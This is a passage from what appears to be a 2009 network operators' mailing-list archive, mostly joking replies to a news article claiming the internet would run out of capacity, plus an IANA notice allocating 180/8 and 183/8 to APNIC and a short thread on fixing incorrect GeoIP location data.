the BBC?s iPlayer. > > It will initially lead to computers being disrupted and going offline for > several minutes at a time. From 2012, however, PCs and laptops are likely to > operate at a much reduced speed, rendering the internet an ?unreliable toy?.' > > http://technology.timesonline.co.uk/tol/news/tech_and_web/the_web/article6169488.ece > > (I don't even know where to start.) You can start by buying your PC a life vest, that way, if something bad should happen while you're surfing, at least it won't drown. Don't you just hate ignorant technobabble. Some idiot has been reliably making this prediction at least every year for the past two decades. Dear author: HEY JERKFACE, APRIL 1 IS THE FIRST DAY OF THE MONTH, NOT THE LAST. GET A CLUE AND FIND SOMETHING TRUE TO SAY. :-) ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From johnl at iecc.com Thu Apr 30 15:35:45 2009 From: johnl at iecc.com (John Levine) Date: 30 Apr 2009 20:35:45 -0000 Subject: Beware surfers: cyberspace is filling up In-Reply-To: <200904302021.n3UKLRLI095654@aurora.sol.net> Message-ID: <20090430203545.82437.qmail@simone.iecc.com> >> 'Experts predict that consumer demand, already growing at 60 per cent a >> year, will start to exceed supply ... >Dear author: HEY JERKFACE, APRIL 1 IS THE FIRST DAY OF THE MONTH, ... You know, we have only ourselves to blame. If we taped up the openings and blew all of the cruft out of the network every 1 April like we used to, we wouldn't have this problem. R's, John From surfer at mauigateway.com Thu Apr 30 15:35:46 2009 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 30 Apr 2009 13:35:46 -0700 Subject: Beware surfers: cyberspace is filling up Message-ID: <20090430133546.F87F6BD0@resin15.mta.everyone.net> --- jdfalk-lists at cybernothing.org wrote: From: "J.D. Falk" 'Experts predict that consumer demand, already growing at 60 per cent a year, will start to exceed supply from as early as next year because of more people working online and the soaring popularity of bandwidth-hungry websites such as YouTube and services such as the BBC?s iPlayer. It will initially lead to computers being disrupted and going offline for several minutes at a time. From 2012, however, PCs and laptops are likely to operate at a much reduced speed, rendering the internet an ?unreliable toy?.' http://technology.timesonline.co.uk/tol/news/tech_and_web/the_web/article6169488.ece (I don't even know where to start.) --------------------------------------------------------------- I know where to start: HAHAHAHAHAHAHAHA! scott ps. I'm sure there's probably a PC way to say that, but I can't think of it at this time... ;-) From jbates at brightok.net Thu Apr 30 15:43:46 2009 From: jbates at brightok.net (Jack Bates) Date: Thu, 30 Apr 2009 15:43:46 -0500 Subject: Beware surfers: cyberspace is filling up In-Reply-To: <49FA0240.7030107@cybernothing.org> References: <49FA0240.7030107@cybernothing.org> Message-ID: <49FA0D82.6090801@brightok.net> J.D. Falk wrote: > http://technology.timesonline.co.uk/tol/news/tech_and_web/the_web/article6169488.ece > > > (I don't even know where to start.) > I was more partial to: "In America, telecoms companies are spending ?40 billion a year upgrading cables and supercomputers to increase capacity,"... We have supercomputers that need upgrading at the telecoms? And who were the peeps providing all this information which got distorted (or did it?) Jack From daryl at introspect.net Thu Apr 30 15:45:53 2009 From: daryl at introspect.net (Daryl G. Jurbala) Date: Thu, 30 Apr 2009 16:45:53 -0400 Subject: one shot remote root for linux? In-Reply-To: References: <0a0301c9c87e$a6f1aaa0$f4d4ffe0$@net> Message-ID: <4A953C43-9D20-4FB7-89DA-89E87C193756@introspect.net> On Apr 30, 2009, at 1:28 PM, Paul Jakma wrote: > Is the ESX Hypervisor useful without the Linux layer? Then, to what > extent do "based on" and "depends on" differ in the context of > software? I needed DR-DOS 3 to make NetWare 3.12 boot, but I wouldn't consider it to be "based on DOS". From pzdevans at gmail.com Thu Apr 30 16:18:24 2009 From: pzdevans at gmail.com (Dan Evans) Date: Thu, 30 Apr 2009 17:18:24 -0400 Subject: Beware surfers: cyberspace is filling up In-Reply-To: <49FA0240.7030107@cybernothing.org> References: <49FA0240.7030107@cybernothing.org> Message-ID: <677ac06c0904301418m33259237l1d8f08e56606c1f8@mail.gmail.com> > > (I don't even know where to start.) You could always do what I did and get an internet surge protector that prevents computers from "freezing" during rolling data brown-outs. The nice banker from Nigeria I've been working with (I'm helping to recover a large inheritance left by a dead colleague) threw one in for "free" after I gave him my bank account info so he could wire the money. I'm expecting it to be delivered any day now, although according to my records it should have arrived last week. I'm sure everything will work itself out... From Valdis.Kletnieks at vt.edu Thu Apr 30 16:20:32 2009 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Thu, 30 Apr 2009 17:20:32 -0400 Subject: Beware surfers: cyberspace is filling up In-Reply-To: Your message of "Thu, 30 Apr 2009 13:55:44 MDT." <49FA0240.7030107@cybernothing.org> References: <49FA0240.7030107@cybernothing.org> Message-ID: <45205.1241126432@turing-police.cc.vt.edu> On Thu, 30 Apr 2009 13:55:44 MDT, "J.D. Falk" said: > (I don't even know where to start.) Seen in a /etc/motd well over 2 decades ago: /dev/earth is 98% full. Please delete anybody you can. (OK, a tad drastic, I admit. ;) "When Sir Tim Berners-Lee, the British scientist, wrote the code that transformed a private computer network into the world wide web in 1989, the internet appeared to be a limitless resource." WTF? I remember cursing the congestion on our T-1 link to Suranet in 1989 a lot more often than I curse our 10G link today. Was *anybody* seeing bandwidth as limitless in 1989? ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From gschwim at gmail.com Thu Apr 30 16:23:39 2009 From: gschwim at gmail.com (Greg Schwimer) Date: Thu, 30 Apr 2009 14:23:39 -0700 Subject: Beware surfers: cyberspace is filling up In-Reply-To: <49FA0240.7030107@cybernothing.org> References: <49FA0240.7030107@cybernothing.org> Message-ID: <702ea15b0904301423y664cee73wf366113cdd6fdf6f@mail.gmail.com> Recycled alarmism... now get back to enjoying your bout of swine flu. On Thu, Apr 30, 2009 at 12:55 PM, J.D. Falk wrote: > 'Experts predict that consumer demand, already growing at 60 per cent a > year, will start to exceed supply from as early as next year because of more > people working online and the soaring popularity of bandwidth-hungry > websites such as YouTube and services such as the BBC?s iPlayer. > > It will initially lead to computers being disrupted and going offline for > several minutes at a time. From 2012, however, PCs and laptops are likely to > operate at a much reduced speed, rendering the internet an ?unreliable > toy?.' > > > http://technology.timesonline.co.uk/tol/news/tech_and_web/the_web/article6169488.ece > > (I don't even know where to start.) > > -- > J.D. Falk > Return Path Inc > http://www.returnpath.net/ > > From Valdis.Kletnieks at vt.edu Thu Apr 30 16:29:36 2009 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Thu, 30 Apr 2009 17:29:36 -0400 Subject: Beware surfers: cyberspace is filling up In-Reply-To: Your message of "Thu, 30 Apr 2009 14:23:39 PDT." <702ea15b0904301423y664cee73wf366113cdd6fdf6f@mail.gmail.com> References: <49FA0240.7030107@cybernothing.org> <702ea15b0904301423y664cee73wf366113cdd6fdf6f@mail.gmail.com> Message-ID: <45818.1241126976@turing-police.cc.vt.edu> On Thu, 30 Apr 2009 14:23:39 PDT, Greg Schwimer said: > Recycled alarmism... now get back to enjoying your bout of swine flu. More alarmism: http://blog.wreckandsalvage.com/post/101932705/godaddy-recommends-against-purchasing-tv-domain :) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From leo.vegoda at icann.org Thu Apr 30 17:03:57 2009 From: leo.vegoda at icann.org (Leo Vegoda) Date: Thu, 30 Apr 2009 15:03:57 -0700 Subject: 180/8 and 183/8 allocated to APNIC Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, The IANA IPv4 registry has been updated to reflect the allocation of two /8 IPv4 blocks to APNIC in April 2009: 180/8 and 183/8. You can find the IANA IPv4 registry at: http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt Please update your filters as appropriate. Regards, Leo Vegoda Number Resources Manager, IANA -----BEGIN PGP SIGNATURE----- Version: 9.10.0.500 wj8DBQFJ+iBAvBLymJnAzRwRAq59AKDYIE9QGQAAJQDuqfQ5Qqo5YiZwWwCg1RNg wwnJkpL3STZw9fDOM7zUToM= =PtJl -----END PGP SIGNATURE----- From netfortius at gmail.com Thu Apr 30 18:31:22 2009 From: netfortius at gmail.com (Stefan) Date: Thu, 30 Apr 2009 18:31:22 -0500 Subject: Beware surfers: cyberspace is filling up In-Reply-To: <45818.1241126976@turing-police.cc.vt.edu> References: <49FA0240.7030107@cybernothing.org> <702ea15b0904301423y664cee73wf366113cdd6fdf6f@mail.gmail.com> <45818.1241126976@turing-police.cc.vt.edu> Message-ID: hmmm ... http://www.networkperformancedaily.com/2009/04/so_this_is_what_the_australian.html -- ***Stefan http://twitter.com/netfortius On Thu, Apr 30, 2009 at 4:29 PM, wrote: > On Thu, 30 Apr 2009 14:23:39 PDT, Greg Schwimer said: >> Recycled alarmism... now get back to enjoying your bout of swine flu. > > More alarmism: > > http://blog.wreckandsalvage.com/post/101932705/godaddy-recommends-against-purchasing-tv-domain > > :) > From gschwim at gmail.com Thu Apr 30 18:40:59 2009 From: gschwim at gmail.com (Greg Schwimer) Date: Thu, 30 Apr 2009 16:40:59 -0700 Subject: Beware surfers: cyberspace is filling up In-Reply-To: References: <49FA0240.7030107@cybernothing.org> <702ea15b0904301423y664cee73wf366113cdd6fdf6f@mail.gmail.com> <45818.1241126976@turing-police.cc.vt.edu> Message-ID: <702ea15b0904301640jccaae34j2b2123fede2457a3@mail.gmail.com> Guess we should keep a close eye on it here: http://internetstat.us/ On Thu, Apr 30, 2009 at 4:31 PM, Stefan wrote: > hmmm ... > > > http://www.networkperformancedaily.com/2009/04/so_this_is_what_the_australian.html > > -- > ***Stefan > http://twitter.com/netfortius > > On Thu, Apr 30, 2009 at 4:29 PM, wrote: > > On Thu, 30 Apr 2009 14:23:39 PDT, Greg Schwimer said: > >> Recycled alarmism... now get back to enjoying your bout of swine flu. > > > > More alarmism: > > > > > http://blog.wreckandsalvage.com/post/101932705/godaddy-recommends-against-purchasing-tv-domain > > > > :) > > > > From cra at WPI.EDU Thu Apr 30 19:51:54 2009 From: cra at WPI.EDU (Chuck Anderson) Date: Thu, 30 Apr 2009 20:51:54 -0400 Subject: how to fix incorrect GeoIP data? Message-ID: <20090501005154.GA26724@angus.ind.WPI.EDU> I have a customer who received a new assignment from ARIN, but the GeoIP data is returning Canada rather than the US as the location of the IP prefix. Google redirects to www.google.ca and some other sites aren't working correctly because they expect a US IP. Does anyone have any advice on how to update the GeoIP and other similar databases? Thanks. From fergdawgster at gmail.com Thu Apr 30 20:12:37 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Thu, 30 Apr 2009 18:12:37 -0700 Subject: how to fix incorrect GeoIP data? In-Reply-To: <20090501005154.GA26724@angus.ind.WPI.EDU> References: <20090501005154.GA26724@angus.ind.WPI.EDU> Message-ID: <6cd462c00904301812w582b537wa8eb813c79f49556@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thu, Apr 30, 2009 at 5:51 PM, Chuck Anderson wrote: > I have a customer who received a new assignment from ARIN, but the > GeoIP data is returning Canada rather than the US as the location of > the IP prefix. Google redirects to www.google.ca and some other sites > aren't working correctly because they expect a US IP. Does anyone > have any advice on how to update the GeoIP and other similar > databases? > Wouldn't a SWIP for a sub-allocation work? I was under the impression that most of the GeoIP services fed off of WHOIS registration data points. Than again, maybe I have no idea. ;-) - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ+kxwq1pz9mNUZTMRAlPWAKCy9oGUN7W0+7VKmIU0r9xHFbRxbQCg6LYk rsAbW3zuKzYn6pu50KBhA8I= =APDr -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From jbates at brightok.net Thu Apr 30 20:57:35 2009 From: jbates at brightok.net (Jack Bates) Date: Thu, 30 Apr 2009 20:57:35 -0500 Subject: Beware surfers: cyberspace is filling up In-Reply-To: References: <49FA0240.7030107@cybernothing.org> <702ea15b0904301423y664cee73wf366113cdd6fdf6f@mail.gmail.com> <45818.1241126976@turing-police.cc.vt.edu> Message-ID: <49FA570F.3030107@brightok.net> Stefan wrote: > hmmm ... > > http://www.networkperformancedaily.com/2009/04/so_this_is_what_the_australian.html > Hmmm. "that leased lines and private WANs that your company can monitor and control from end to end make it easier to retain and improve network performance than relying on the Internet" Are 10G leased lines (or even 1G) and private WANs common these days without using MPLS or some form of resource shared with Internet traffic? And what is the point without the ability to communicate with others? I thought we were well past isolated networks. -Jack From netfortius at gmail.com Thu Apr 30 21:15:28 2009 From: netfortius at gmail.com (Stefan) Date: Thu, 30 Apr 2009 21:15:28 -0500 Subject: Beware surfers: cyberspace is filling up In-Reply-To: <49FA570F.3030107@brightok.net> References: <49FA0240.7030107@cybernothing.org> <702ea15b0904301423y664cee73wf366113cdd6fdf6f@mail.gmail.com> <45818.1241126976@turing-police.cc.vt.edu> <49FA570F.3030107@brightok.net> Message-ID: On Thu, Apr 30, 2009 at 8:57 PM, Jack Bates wrote: > > > Stefan wrote: >> >> hmmm ... >> >> >> http://www.networkperformancedaily.com/2009/04/so_this_is_what_the_australian.html >> > > Hmmm. "that leased lines and private WANs that your company can monitor and > control from end to end make it easier to retain and improve network > performance than relying on the Internet" > > Are 10G leased lines (or even 1G) and private WANs common these days without > using MPLS or some form of resource shared with Internet traffic? And what > is the point without the ability to communicate with others? I thought we > were well past isolated networks. > > -Jack > The point of the blog I quoted was that things are not only black, or only white (as some have been tempted to judge - i.e. completely bashing the original article). To your point - we need to communicate with others (Internet - non QoS ...), of course, but the critical production traffic runs for some on top of fully monitored (not necessarily controlled!) networks ... still ... -- ***Stefan http://twitter.com/netfortius From netfortius at gmail.com Thu Apr 30 21:42:35 2009 From: netfortius at gmail.com (Stefan) Date: Thu, 30 Apr 2009 21:42:35 -0500 Subject: Beware surfers: cyberspace is filling up In-Reply-To: References: <49FA0240.7030107@cybernothing.org> <702ea15b0904301423y664cee73wf366113cdd6fdf6f@mail.gmail.com> <45818.1241126976@turing-police.cc.vt.edu> <49FA570F.3030107@brightok.net> Message-ID: On Thu, Apr 30, 2009 at 9:15 PM, Stefan wrote: > On Thu, Apr 30, 2009 at 8:57 PM, Jack Bates wrote: >> >> >> Stefan wrote: >>> >>> hmmm ... >>> >>> >>> http://www.networkperformancedaily.com/2009/04/so_this_is_what_the_australian.html >>> >> >> Hmmm. "that leased lines and private WANs that your company can monitor and >> control from end to end make it easier to retain and improve network >> performance than relying on the Internet" >> >> Are 10G leased lines (or even 1G) and private WANs common these days without >> using MPLS or some form of resource shared with Internet traffic? And what >> is the point without the ability to communicate with others? I thought we >> were well past isolated networks. >> >> -Jack >> > > The point of the blog I quoted was that things are not only black, or > only white (as some have been tempted to judge - i.e. completely > bashing the original article). To your point - we need to communicate > with others (Internet - non QoS ...), of course, but the critical > production traffic runs for some on top of fully monitored (not > necessarily controlled!) networks ... still ... > > -- > ***Stefan > http://twitter.com/netfortius > ... and along the same line, but somehow parallel to the original conversation: http://fora.tv/2009/04/15/Empowering_Internet_Users_Two_Ideas_to_Reshape_Broadband#Coming_Soon_Privately_Owned_Fiber_Optics_to_the_Home -- ***Stefan http://twitter.com/netfortius From patrick at ianai.net Thu Apr 30 22:40:56 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Thu, 30 Apr 2009 23:40:56 -0400 Subject: how to fix incorrect GeoIP data? In-Reply-To: <6cd462c00904301812w582b537wa8eb813c79f49556@mail.gmail.com> References: <20090501005154.GA26724@angus.ind.WPI.EDU> <6cd462c00904301812w582b537wa8eb813c79f49556@mail.gmail.com> Message-ID: <8C7E9447-CB1E-43FD-9E54-542C2B628118@ianai.net> On Apr 30, 2009, at 9:12 PM, Paul Ferguson wrote: > On Thu, Apr 30, 2009 at 5:51 PM, Chuck Anderson wrote: > >> I have a customer who received a new assignment from ARIN, but the >> GeoIP data is returning Canada rather than the US as the location of >> the IP prefix. Google redirects to www.google.ca and some other >> sites >> aren't working correctly because they expect a US IP. Does anyone >> have any advice on how to update the GeoIP and other similar >> databases? > > Wouldn't a SWIP for a sub-allocation work? > > I was under the impression that most of the GeoIP services fed off > of WHOIS > registration data points. > > Than again, maybe I have no idea. ;-) I don't know how Google does GeoIP, but not all of them work off SWIP. Perhaps Chuck should ask Google instead of NANOG? -- TTFN, patrick From sronan at fattoc.com Thu Apr 30 22:43:04 2009 From: sronan at fattoc.com (Shane Ronan) Date: Thu, 30 Apr 2009 20:43:04 -0700 Subject: Beware surfers: cyberspace is filling up In-Reply-To: <49FA570F.3030107@brightok.net> References: <49FA0240.7030107@cybernothing.org> <702ea15b0904301423y664cee73wf366113cdd6fdf6f@mail.gmail.com> <45818.1241126976@turing-police.cc.vt.edu> <49FA570F.3030107@brightok.net> Message-ID: <07A6D477-2615-47B6-84BC-75FDE2EB3231@fattoc.com> I think it depends on the industry you are in, in the financial industry, no one uses MPLS clouds or VPN's over the Internet, everyone uses either 1G or 10G links. On Apr 30, 2009, at 6:57 PM, Jack Bates wrote: > > > Stefan wrote: >> hmmm ... >> http://www.networkperformancedaily.com/2009/04/so_this_is_what_the_australian.html > > Hmmm. "that leased lines and private WANs that your company can > monitor and control from end to end make it easier to retain and > improve network performance than relying on the Internet" > > Are 10G leased lines (or even 1G) and private WANs common these days > without using MPLS or some form of resource shared with Internet > traffic? And what is the point without the ability to communicate > with others? I thought we were well past isolated networks. > > -Jack > From patrick at ianai.net Thu Apr 30 22:52:30 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Thu, 30 Apr 2009 23:52:30 -0400 Subject: Beware surfers: cyberspace is filling up In-Reply-To: <07A6D477-2615-47B6-84BC-75FDE2EB3231@fattoc.com> References: <49FA0240.7030107@cybernothing.org> <702ea15b0904301423y664cee73wf366113cdd6fdf6f@mail.gmail.com> <45818.1241126976@turing-police.cc.vt.edu> <49FA570F.3030107@brightok.net> <07A6D477-2615-47B6-84BC-75FDE2EB3231@fattoc.com> Message-ID: On Apr 30, 2009, at 11:43 PM, Shane Ronan wrote: > I think it depends on the industry you are in, in the financial > industry, no one uses MPLS clouds or VPN's over the Internet, > everyone uses either 1G or 10G links. I think Jack's point was that many 1G and 10G "links" are really just MPLS tunnels through someone else's backbone. And even if not, they are certainly sharing the same ADMs, fibers, regen huts, etc. "Shared infrastructure" has taken on a whole new meaning. -- TTFN, patrick > On Apr 30, 2009, at 6:57 PM, Jack Bates wrote: > >> >> >> Stefan wrote: >>> hmmm ... >>> http://www.networkperformancedaily.com/2009/04/so_this_is_what_the_australian.html >> >> Hmmm. "that leased lines and private WANs that your company can >> monitor and control from end to end make it easier to retain and >> improve network performance than relying on the Internet" >> >> Are 10G leased lines (or even 1G) and private WANs common these >> days without using MPLS or some form of resource shared with >> Internet traffic? And what is the point without the ability to >> communicate with others? I thought we were well past isolated >> networks. >> >> -Jack >> > > From martin at theicelandguy.com Thu Apr 30 22:57:23 2009 From: martin at theicelandguy.com (Martin Hannigan) Date: Thu, 30 Apr 2009 23:57:23 -0400 Subject: how to fix incorrect GeoIP data? In-Reply-To: <20090501005154.GA26724@angus.ind.WPI.EDU> References: <20090501005154.GA26724@angus.ind.WPI.EDU> Message-ID: What's the allocation? On Thu, Apr 30, 2009 at 8:51 PM, Chuck Anderson wrote: > I have a customer who received a new assignment from ARIN, but the > GeoIP data is returning Canada rather than the US as the location of > the IP prefix. Google redirects to www.google.ca and some other sites > aren't working correctly because they expect a US IP. Does anyone > have any advice on how to update the GeoIP and other similar > databases? > > Thanks. > > -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From cra at WPI.EDU Thu Apr 30 23:25:38 2009 From: cra at WPI.EDU (Chuck Anderson) Date: Fri, 1 May 2009 00:25:38 -0400 Subject: how to fix incorrect GeoIP data? In-Reply-To: References: <20090501005154.GA26724@angus.ind.WPI.EDU> Message-ID: <20090501042538.GE12911@angus.ind.WPI.EDU> On Thu, Apr 30, 2009 at 11:57:23PM -0400, Martin Hannigan wrote: > On Thu, Apr 30, 2009 at 8:51 PM, Chuck Anderson wrote: > > > I have a customer who received a new assignment from ARIN, but the > > GeoIP data is returning Canada rather than the US as the location of > > the IP prefix. Google redirects to www.google.ca and some other sites > > aren't working correctly because they expect a US IP. Does anyone > > have any advice on how to update the GeoIP and other similar > > databases? > > What's the allocation? 74.112.8.0/21 Google has been contacted and they said it will take a month for stuff to update. The customer has also updated hostip.info.